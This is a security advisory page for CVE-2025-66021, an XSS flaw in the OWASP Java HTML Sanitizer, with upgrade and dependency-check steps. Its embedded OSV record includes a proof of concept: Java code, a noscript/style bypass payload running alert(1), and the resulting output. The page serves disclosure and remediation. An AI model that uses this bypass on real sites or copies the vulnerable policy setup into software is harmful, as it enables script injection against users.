CVE-2025-66021: Owasp java html sanitizer Cross-Site Scripting Vulnerability
HIGHCVE-2025-66021 is a HIGH cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Owasp java html sanitizer libraries in the Maven ecosystem. The issue involves owasp java html sanitizer is vulnerable to xss via noscript tag and improper style tag sanitization. Remediation is available by upgrading affected packages to version 20260101.1.
CVE-2025-66021 at a Glance
How to Fix CVE-2025-66021
To remediate this vulnerability, upgrade all affected Owasp java html sanitizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
<artifactId>owasp-java-html-sanitizer</artifactId>
<version>20260101.1</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2025-66021, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer
Analyze the terminal output to locate any version of Owasp java html sanitizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20260101.1), your application is affected.
Note: The mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Owasp java html sanitizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-66021 Affected Owasp java html sanitizer Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer
|
Maven |
≥ 20240325.1
< 20260101.1
All 1 versions
20240325.1
|
20260101.1
|
References
Frequently Asked Questions
What is CVE-2025-66021?
Which Owasp java html sanitizer versions are affected?
What version fixes CVE-2025-66021?
Is owasp-java-html-sanitizer affected?
What CWE is associated with CVE-2025-66021?
How can I check Maven dependencies for CVE-2025-66021?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g9gq-3pfx-2gw2",
"modified" : "2026-01-06T15:26:23Z",
"published" : "2025-11-25T22:10:17Z",
"aliases" : [ "CVE-2025-66021" ],
"summary" : "OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization ",
"details" : "### Summary\nIt is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows `noscript` and `style` tags with `allowTextIn` inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. \n\n### Details\n\nThe OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows `noscript` & `style` tag with `allowTextIn` inside style tags.\n\nThe following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except `noscript` and allow `style` tag with `allowTextIn` inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives `noscript` tags post sanitization. \n\n### PoC\n\n1. Lets create a `HtmlPolicyBuilder` which allows `p, noscript, style` html tags and allows `.allowTextIn(\"style\")`.\n2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag.\nThese payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.\n\n```HTML\n1. <noscript><style></noscript><script>alert(1)</script>\n2. <p><style></p><script>alert(1)</script>\n```\n\n3. Run the following piece of code which sanitizes the payload. \n\n```java\npublic class main {\n\tprivate static final String ALLOWED_HTML_TAGS = \"p, noscript, style\";\n\n\t/**\n\t * Description of vulnerability :\n\t * The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.\n\t * However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.\n\t */\n\n\tpublic static void main(String[] args) {\n\t\twithAllowedTextAndStyleTag();\n\t}\n\n\t/**\n\t * Test case : Vulnerable to XSS\n\t */\n\tpublic static void withAllowedTextAndStyleTag() {\n\t\tHtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();\n\t\tPolicyFactory policy = htmlPolicyBuilder\n\t\t\t\t.allowElements(ALLOWED_HTML_TAGS.split(\"\\\\s*,\\\\s*\"))\n\t\t\t\t.allowTextIn(\"style\")\n\t\t\t\t.toFactory();\n\t\tString untrustedHTMLOne = \"<noscript><style></noscript><script>alert(1)</script>\";\n\t\tString untrustedHTMLTwo = \"<p><style></p><script>alert(1)</script>\";\n\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLOne +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLOne));\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLTwo +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLTwo));\n\t}\n}\n```\n\nUse the latest library version \n\n```xml\n\t\t<dependency>\n\t\t\t<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>\n\t\t\t<artifactId>owasp-java-html-sanitizer</artifactId>\n\t\t\t<version>20240325.1</version>\n\t\t</dependency>\n```\n\n4. Output of the POC code should look like this \n\n```HTML\n\nPAYLOAD: <noscript><style></noscript><script>alert(1)</script>\nSANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>\n\n\nPAYLOAD: <p><style></p><script>alert(1)</script>\nSANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>\n\n```\n\n5. Lets understand what happened in sanitization process below \n\n```txt\n--------------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS\n\n-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. \nSANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>\n\n-------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS\n\n--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. \nSANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>\n\n```\n\n6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 \n\n```HTML\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>POC OF SANITIZER OUTPUT</title>\n</head>\n<body>\n\n<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->\n<noscript><style></noscript><script>alert(1)</script></style></noscript>\n\n<!-- SAFE OUTPUT -->\n<p><style></p><script>alert(1)</script></style></p>\n\n</body>\n</html>\n```\n\n\n\n7. Open this HTML page in the browser it should pop an alert.\n\n\n\n8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS. \n\n\n\n9. The payload which combined with noscript tag and style tag did caused XSS.\nThe broswer perceived noscript and which wrapped `style` tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.\n\n\n\n\n### Impact\n1. This potentially could leads to XSS in applications. \nRef : https://owasp.org/www-community/attacks/xss/",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "20240325.1"
}, {
"fixed" : "20260101.1"
} ]
} ],
"versions" : [ "20240325.1" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OWASP/java-html-sanitizer/security/advisories/GHSA-g9gq-3pfx-2gw2"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-66021"
}, {
"type" : "WEB",
"url" : "https://github.com/OWASP/java-html-sanitizer/issues/363"
}, {
"type" : "WEB",
"url" : "https://github.com/OWASP/java-html-sanitizer/commit/4149cf02ba84db13e8e9d7ee1b01b3f47238e072"
}, {
"type" : "WEB",
"url" : "https://github.com/OWASP/java-html-sanitizer/commit/b98cdf1cd5e156a6259b01aa8cdc7372c6efde1e"
}, {
"type" : "WEB",
"url" : "https://github.com/OWASP/java-html-sanitizer/commit/d6e0463ed3b48777ecd187913ffdbe767508ff45"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OWASP/java-html-sanitizer"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-11-25T22:10:17Z",
"nvd_published_at" : "2025-11-26T02:15:49Z"
}
}